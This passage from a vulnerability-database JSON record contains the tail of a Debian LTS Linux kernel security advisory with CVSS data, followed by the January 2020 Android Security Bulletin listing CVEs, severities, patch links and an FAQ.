[CVE-2020-11565](https://security-tracker.debian.org/tracker/CVE-2020-11565)\nEntropy Moe reported that the shared memory filesystem (tmpfs) did\n not correctly handle an mpol mount option specifying an empty\n node list, leading to a stack-based out-of-bounds write. If user\n namespaces are enabled, a local user could use this to cause a\n denial of service (crash) or possibly for privilege escalation.\n* [CVE-2020-11608](https://security-tracker.debian.org/tracker/CVE-2020-11608), [CVE-2020-11609](https://security-tracker.debian.org/tracker/CVE-2020-11609), [CVE-2020-11668](https://security-tracker.debian.org/tracker/CVE-2020-11668)\nIt was discovered that the ov519, stv06xx, and xirlink\\_cit media\n drivers did not properly validate USB device descriptors. A\n physically present user with a specially constructed USB device\n could use this to cause a denial-of-service (crash) or possibly\n for privilege escalation.\n* [CVE-2020-12114](https://security-tracker.debian.org/tracker/CVE-2020-12114)\nPiotr Krysiuk discovered a race condition between the umount and\n pivot\\_root operations in the filesystem core (vfs). A local user\n with the CAP\\_SYS\\_ADMIN capability in any user namespace could use\n this to cause a denial of service (crash).\n* [CVE-2020-12464](https://security-tracker.debian.org/tracker/CVE-2020-12464)\nKyungtae Kim reported a race condition in the USB core that can\n result in a use-after-free. It is not clear how this can be\n exploited, but it could result in a denial of service (crash or\n memory corruption) or privilege escalation.\n* [CVE-2020-12652](https://security-tracker.debian.org/tracker/CVE-2020-12652)\nTom Hatskevich reported a bug in the mptfusion storage drivers.\n An ioctl handler fetched a parameter from user memory twice,\n creating a race condition which could result in incorrect locking\n of internal data structures. A local user permitted to access\n /dev/mptctl could use this to cause a denial of service (crash or\n memory corruption) or for privilege escalation.\n* [CVE-2020-12653](https://security-tracker.debian.org/tracker/CVE-2020-12653)\nIt was discovered that the mwifiex WiFi driver did not\n sufficiently validate scan requests, resulting a potential heap\n buffer overflow. A local user with CAP\\_NET\\_ADMIN capability could\n use this to cause a denial of service (crash or memory corruption)\n or possibly for privilege escalation.\n* [CVE-2020-12654](https://security-tracker.debian.org/tracker/CVE-2020-12654)\nIt was discovered that the mwifiex WiFi driver did not\n sufficiently validate WMM parameters received from an access point\n (AP), resulting a potential heap buffer overflow. A malicious AP\n could use this to cause a denial of service (crash or memory\n corruption) or possibly to execute code on a vulnerable system.\n* [CVE-2020-12769](https://security-tracker.debian.org/tracker/CVE-2020-12769)\nIt was discovered that the spi-dw SPI host driver did not properly\n serialise access to its internal state. The security impact of\n this is unclear, and this driver is not included in Debian's\n binary packages.\n* [CVE-2020-12770](https://security-tracker.debian.org/tracker/CVE-2020-12770)\nIt was discovered that the sg (SCSI generic) driver did not\n correctly release internal resources in a particular error case.\n A local user permitted to access an sg device could possibly use\n this to cause a denial of service (resource exhaustion).\n* [CVE-2020-12826](https://security-tracker.debian.org/tracker/CVE-2020-12826)\nAdam Zabrocki reported a weakness in the signal subsystem's\n permission checks. A parent process can choose an arbitary signal\n for a child process to send when it exits, but if the parent has\n executed a new program then the default SIGCHLD signal is sent. A\n local user permitted to run a program for several days could\n bypass this check, execute a setuid program, and then send an\n arbitrary signal to it. Depending on the setuid programs\n installed, this could have some security impact.\n* [CVE-2020-13143](https://security-tracker.debian.org/tracker/CVE-2020-13143)\nKyungtae Kim reported a potential heap out-of-bounds write in\n the USB gadget subsystem. A local user permitted to write to\n the gadget configuration filesystem could use this to cause a\n denial of service (crash or memory corruption) or potentially\n for privilege escalation.\n\n\nFor Debian 8 Jessie, these problems have been fixed in version\n3.16.84-1.\n\n\nWe recommend that you upgrade your linux packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-06-09T00:00:00", "type": "osv", "title": "linux - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-8839", "CVE-2018-14610", "CVE-2018-14611", "CVE-2018-14612", "CVE-2018-14613", "CVE-2019-19319", "CVE-2019-19447", "CVE-2019-19768", "CVE-2019-20636", "CVE-2019-5108", "CVE-2020-0009", "CVE-2020-0543", "CVE-2020-10690", "CVE-2020-10751", "CVE-2020-10942", "CVE-2020-11494", "CVE-2020-11565", "CVE-2020-11608", "CVE-2020-11609", "CVE-2020-11668", "CVE-2020-12114", "CVE-2020-12464", "CVE-2020-12652", "CVE-2020-12653", "CVE-2020-12654", "CVE-2020-12769", "CVE-2020-12770", "CVE-2020-12826", "CVE-2020-13143", "CVE-2020-1749", "CVE-2020-2732", "CVE-2020-8647", "CVE-2020-8648", "CVE-2020-8649", "CVE-2020-9383"], "modified": "2022-07-07T00:04:11", "id": "OSV:DLA-2241-1", "href": "https://osv.dev/vulnerability/DLA-2241-1", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "androidsecurity": [{"lastseen": "2021-11-26T23:22:43", "description": "The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security patch levels of 2020-01-05 or later address all of these issues. To learn how to check a device's security patch level, see [Check and update your Android version](<https://support.google.com/pixelphone/answer/4457705>).\n\nAndroid partners are notified of all issues at least a month before publication. Source code patches for these issues have been released to the Android Open Source Project (AOSP) repository and linked from this bulletin. This bulletin also includes links to patches outside of AOSP.\n\nThe most severe of these issues is a critical security vulnerability in Media framework that could enable a remote attacker using a specially crafted file to execute arbitrary code within the context of a privileged process. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed.\n\nRefer to the Android and Google Play Protect mitigations section for details on the Android security platform protections and Google Play Protect, which improve the security of the Android platform.\n\n**Note**: Information on the latest over-the-air update (OTA) and firmware images for Google devices is available in the January 2020 Pixel Update Bulletin. \n\n## Android and Google service mitigations\n\nThis is a summary of the mitigations provided by the Android security platform and service protections such as [Google Play Protect](<https://developers.google.com/android/play-protect/>). These capabilities reduce the likelihood that security vulnerabilities could be successfully exploited on Android.\n\n * Exploitation for many issues on Android is made more difficult by enhancements in newer versions of the Android platform. We encourage all users to update to the latest version of Android where possible.\n * The Android security team actively monitors for abuse through [Google Play Protect](<https://developers.google.com/android/play-protect/>) and warns users about [Potentially Harmful Applications](<https://developers.google.com/android/play-protect/potentially-harmful-applications>). Google Play Protect is enabled by default on devices with [Google Mobile Services](<http://www.android.com/gms>), and is especially important for users who install apps from outside of Google Play.\n\n## 2020-01-01 security patch level vulnerability details\n\nIn the sections below, we provide details for each of the security vulnerabilities that apply to the 2020-01-01 patch level. Vulnerabilities are grouped under the component they affect. There is a description of the issue and a table with the CVE, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, such as the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.\n\n### Framework\n\nThe most severe vulnerability in this section could enable a local malicious application to bypass user interaction requirements in order to gain access to additional permissions.\n\nCVE | References | Type | Severity | Updated AOSP versions \n---|---|---|---|--- \nCVE-2020-0001 | [A-140055304](<https://android.googlesource.com/platform/frameworks/base/+/f5911687e9b9b9a9c26e1cb58f31c941fb199195>) | EoP | Moderate | 10 \nEoP | High | 8.0, 8.1, 9 \nCVE-2020-0003 | [A-140195904](<https://android.googlesource.com/platform/packages/apps/PackageInstaller/+/a422e8c84983c91f804881d36f31a88851400927>) | EoP | High | 8.0 \nCVE-2020-0004 | [A-120847476](<https://android.googlesource.com/platform/frameworks/base/+/57fe3f92acf703001ed92e8b2e3c0d0cd79a6ce5>) | DoS | High | 8.0, 8.1, 9, 10 \n \n### Media framework\n\nThe vulnerability in this section could enable a remote attacker using a specially crafted file to execute arbitrary code within the context of a privileged process.\n\nCVE | References | Type | Severity | Updated AOSP versions \n---|---|---|---|--- \nCVE-2020-0002 | [A-142602711](<https://android.googlesource.com/platform/external/libavc/+/c4b0440fb7a36cd8692126404f86f1bd7a19701e>) | RCE | Moderate | 10 \nRCE | Critical | 8.0, 8.1, 9 \n \n### System\n\nThe most severe vulnerability in this section could lead to remote information disclosure with no additional execution privileges needed.\n\nCVE | References | Type | Severity | Updated AOSP versions \n---|---|---|---|--- \nCVE-2020-0006 | [A-139738828](<https://android.googlesource.com/platform/system/nfc/+/2e1feaad404748c5d9d02d92bb2973d8aa9dfb96>) | ID | High | 8.0, 8.1, 9, 10 \nCVE-2020-0007 | [A-141890807](<https://android.googlesource.com/platform/frameworks/native/+/6c524a53c85bd0ee05d2714bc5606d62975e5819>) [[2](<https://android.googlesource.com/platform/system/core/+/73a1bebeaa1bd9ce00b6178c76e420e827da79df>)] | ID | High | 8.0, 8.1, 9, 10 \nCVE-2020-0008 | [A-142558228](<https://android.googlesource.com/platform/system/bt/+/55f4d920dfe100369d1ccac70ef1bb530d5d73fc>) | ID | High | 8.0, 8.1, 9, 10 \n \n### Google Play system updates\n\nThe following issue is included in Project Mainline components.\n\nComponent | CVE \n---|--- \nMedia codecs | CVE-2020-0002 \n \n## 2020-01-05 security patch level vulnerability details\n\nIn the sections below, we provide details for each of the security vulnerabilities that apply to the 2020-01-05 patch level. Vulnerabilities are grouped under the component they affect and include details such as the CVE, associated references, type of vulnerability, severity, component (where applicable), and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, such as the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.\n\n### Kernel components\n\nThe most severe vulnerability in this section could enable a proximate attacker using a specially crafted transmission to execute arbitrary code within the context of a privileged process.\n\nCVE | References | Type | Severity | Component \n---|---|---|---|--- \nCVE-2019-17666 | A-142967706 [Upstream kernel](<https://android.googlesource.com/kernel/common/+/ee33af324931688a75bcc741f1b6cfbeb4584596>) | RCE | Critical | Realtek rtlwifi driver \nCVE-2018-20856 | A-138921316 [Upstream kernel](<https://android.googlesource.com/kernel/common/+/c19199167c87841006350cc7c0a59881416e8748>) | EoP | High | Kernel \nCVE-2019-15214 | A-140920734 [Upstream kernel](<https://android.googlesource.com/kernel/common/+/b50e435df2d8b9a1d3e956e1c767dfc7e30a441b>) | EoP | High | Sound subsystem \nCVE-2020-0009 | A-142938932* | EoP | High | ashmem \n \n### Qualcomm components\n\nThese vulnerabilities affect Qualcomm components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.\n\nCVE | References | Type | Severity | Component \n---|---|---|---|--- \nCVE-2018-11843 | A-111126051 [QC-CR#2216751](<https://source.codeaurora.org/quic/la/platform/vendor/qcom-opensource/wlan/qcacld-3.0/commit/?id=ddc0e519f59fda7a8e17355ad6c3b00b8808542e>) | N/A | High | WLAN host \nCVE-2019-10558 | A-142268223 [QC-CR#2355428](<https://source.codeaurora.org/quic/la/kernel/msm-4.14/commit/?id=d511cdd22c505bafb4b418ca98de22b66373e022>) | N/A | High | Kernel \nCVE-2019-10581 | A-142267478 [QC-CR#2451619](<https://source.codeaurora.org/quic/la/platform/hardware/qcom/audio/commit/?id=05aed2891fbcc0856dfb6c23f07513b552ba4024>) | N/A | High | Audio \nCVE-2019-10585 | A-142267685 [QC-CR#2457975](<https://source.codeaurora.org/quic/la/kernel/msm-4.9/commit/?id=8d1b367cf622f63e75d9ed87a901d9865459309f>) | N/A | High | Kernel \nCVE-2019-10602 | A-142270161 [QC-CR#2165926](<https://source.codeaurora.org/quic/la/platform/hardware/qcom/display/commit/?id=e6d40402fa2a8e8958c038dc8801ae206fdad3ef>) [[2](<https://source.codeaurora.org/quic/la/platform/hardware/qcom/display/commit/?id=5deee8ab6355b86aa4efbce5ae54d360b26e6afe>)] | N/A | High | Display \nCVE-2019-10606 | A-142269492 [QC-CR#2192810](<https://source.codeaurora.org/quic/la/kernel/msm-4.9/commit/?id=f4cfee6d9c53c1aadfc68bc1184a08c0397fba1c>) [[2](<https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/?id=dfe360f15a675c908f90a5d6aa13248380aa1dc6>)] | N/A | High | Kernel \nCVE-2019-14010 | A-142269847 [QC-CR#2465851](<https://source.codeaurora.org/quic/la/platform/vendor/opensource/audio-kernel/commit/?id=1209ddf2dbb00898883ee8c738d465c843819c7e>) [[2](<https://source.codeaurora.org/quic/la/platform/vendor/opensource/audio-kernel/commit/?id=b13a605ff599cdde00f24d8ec6d69c5279027af6>)] | N/A | High | Audio \nCVE-2019-14023 | A-142270139 [QC-CR#2493328](<https://source.codeaurora.org/quic/la/kernel/msm-4.14/commit/?id=b6e067c17fd710bf4714213ab10ba90d5a774aef>) | N/A | High | Kernel \nCVE-2019-14024 | A-142269993 [QC-CR#2494103](<https://source.codeaurora.org/quic/la/platform/vendor/nxp/opensource/packages/apps/Nfc/commit/?id=47e5aedc1c765076ec401f423b6db2c1477b8925>) | N/A | High | NFC \nCVE-2019-14034 | A-142270258 [QC-CR#2491649](<https://source.codeaurora.org/quic/la/kernel/msm-4.9/commit/?id=50565af0db84465844e4a1351210732111575a33>) [[2](<https://source.codeaurora.org/quic/la/kernel/msm-4.14/commit/?id=bbd5ba65fb26fad49f06927015ddf5e0bcffab0c>)] [[3](<https://source.codeaurora.org/quic/la/kernel/msm-4.9/commit/?id=2f73f3f8c5e589f7cdf719b>)] | N/A | High | Camera \nCVE-2019-14036 | A-142269832 [QC-CR#2200862](<https://source.codeaurora.org/quic/qsdk/platform/vendor/qcom-opensource/wlan/qca-wifi-host-cmn/commit/?id=a2cf7fba4485dbf8d5a13db1630a58be1d527173>) | N/A | High | WLAN host \n \n### Qualcomm closed-source components\n\nThese vulnerabilities affect Qualcomm closed-source components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.\n\nCVE | References | Type | Severity | Component \n---|---|---|---|--- \nCVE-2019-2267 | A-132108182* | N/A | High | Closed-source component \nCVE-2019-10548 | A-137030896* | N/A | High | Closed-source component \nCVE-2019-10532 | A-142271634* | N/A | High | Closed-source component \nCVE-2019-10578 | A-142268949* | N/A | High | Closed-source component \nCVE-2019-10579 | A-142271692* | N/A | High | Closed-source component \nCVE-2019-10582 | A-130574302* | N/A | High | Closed-source component \nCVE-2019-10583 | A-131180394* | N/A | High | Closed-source component \nCVE-2019-10611 | A-142271615* | N/A | High | Closed-source component \nCVE-2019-14002 | A-142271274* | N/A | High | Closed-source component \nCVE-2019-14003 | A-142271498* | N/A | High | Closed-source component \nCVE-2019-14004 | A-142271848* | N/A | High | Closed-source component \nCVE-2019-14005 | A-142271965* | N/A | High | Closed-source component \nCVE-2019-14006 | A-142271827* | N/A | High | Closed-source component \nCVE-2019-14008 | A-142271609* | N/A | High | Closed-source component \nCVE-2019-14013 | A-142271944* | N/A | High | Closed-source component \nCVE-2019-14014 | A-142270349* | N/A | High | Closed-source component \nCVE-2019-14016 | A-142270646* | N/A | High | Closed-source component \nCVE-2019-14017 | A-142271515* | N/A | High | Closed-source component \n \n## Common questions and answers\n\nThis section answers common questions that may occur after reading this bulletin.\n\n**1\\. How do I determine if my device is updated to address these issues?**\n\nTo learn how to check a device's security patch level, see [Check and update your Android version](<https://support.google.com/pixelphone/answer/4457705#pixel_phones&nexus_devices>).\n\n * Security patch levels of 2020-01-01 or later address all issues associated with the 2020-01-01 security patch level.\n * Security patch levels of 2020-01-05 or later address all issues associated with the 2020-01-05 security patch level and all previous patch levels.\n\nDevice manufacturers that include these updates should set the patch string level to:\n\n * [ro.build.version.security_patch]:[2020-01-01]\n * [ro.build.version.security_patch]:[2020-01-05]\n\nFor some devices on Android 10 or later, the Google Play system update will have a date string that matches the 2020-01-01 security patch level. Please see [this article](<https://support.google.com/android/answer/7680439?hl=en>) for more details on how to install security updates.\n\n**2\\. Why does this bulletin have two security patch levels?**\n\nThis bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level.\n\n * Devices that use the 2020-01-01 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins.\n * Devices that use the security patch level of 2020-01-05 or newer must include all applicable patches in this (and previous) security bulletins.\n\nPartners are encouraged to bundle the fixes for all issues they are addressing in a single update.\n\n**3\\. What do the entries in the _Type_ column mean?**\n\nEntries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.\n\nAbbreviation | Definition \n---|--- \nRCE | Remote code execution \nEoP | Elevation of privilege \nID | Information disclosure \nDoS | Denial of service \nN/A | Classification not available \n \n**4\\. What do the entries in the _References_ column mean?**\n\nEntries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.\n\nPrefix | Reference \n---|--- \nA- | Android bug ID \nQC- | Qualcomm reference number \nM- | MediaTek reference number \nN- | NVIDIA reference number \nB- | Broadcom reference number \n \n**5\\. What does an * next to the Android bug ID in the _References_ column mean?**\n\nIssues that are not publicly available have an * next to the Android bug ID in the _References_ column. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the [Google Developer site](<https://developers.google.com/android/drivers>).\n\n**6\\. Why are security vulnerabilities split between this bulletin and device&hairsp;/&hairsp;partner security bulletins, such as the Pixel bulletin?**\n\nSecurity vulnerabilities that are documented in this security bulletin are required to declare the latest security patch level on Android devices. Additional security vulnerabilities that are documented in the device&hairsp;/&hairsp;partner security bulletins are not required for declaring a security patch level. Android device and chipset manufacturers may also publish security vulnerability details specific to their products, such as [Google](<https://source.android.com/security/bulletin/pixel>), [Huawei](<https://consumer.huawei.com/en/support/bulletin/>), [LGE](<https://lgsecurity.lge.com/security_updates_mobile.html>), [Motorola](<https://motorola-global-portal.custhelp.com/app/software-security-page/g_id/6806>), [Nokia](<https://www.nokia.com/phones/en_int/security-updates>), or [Samsung](<https://security.samsungmobile.com/securityUpdate.smsb>). \n\n## Versions\n\nVersion | Date | Notes \n---|---|--- \n1.0 | January 6, 2020 | Bulletin published \n1.1 | January 7, 2020 | Bulletin revised to include AOSP links\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-06T00:00:00", "type": "androidsecurity", "title": "Android Security Bulletin\u2014January 2020", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11843", "CVE-2018-20856", "CVE-2019-10532", "CVE-2019-10548", "CVE-2019-10558", "CVE-2019-10578", "CVE-2019-10579", "CVE-2019-10581", "CVE-2019-10582", "CVE-2019-10583", "CVE-2019-10585", "CVE-2019-10602", "CVE-2019-10606", "CVE-2019-10611", "CVE-2019-14002", "CVE-2019-14003", "CVE-2019-14004", "CVE-2019-14005", "CVE-2019-14006", "CVE-2019-14008", "CVE-2019-14010", "CVE-2019-14013", "CVE-2019-14014", "CVE-2019-14016", "CVE-2019-14017", "CVE-2019-14023", "CVE-2019-14024", "CVE-2019-14034", "CVE-2019-14036", "CVE-2019-15214", "CVE-2019-17666", "CVE-2019-2267", "CVE-2020-0001", "CVE-2020-0002", "CVE-2020-0003", "CVE-2020-0004", "CVE-2020-0006", "CVE-2020-0007", "CVE-2020-0008", "CVE-2020-0009"], "modified": "2020-01-07T00:00:00", "id": "ANDROID:2020-01-01", "href": "https://source.android.com/security/bulletin/2020-01-01", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
CVE-2020-0009
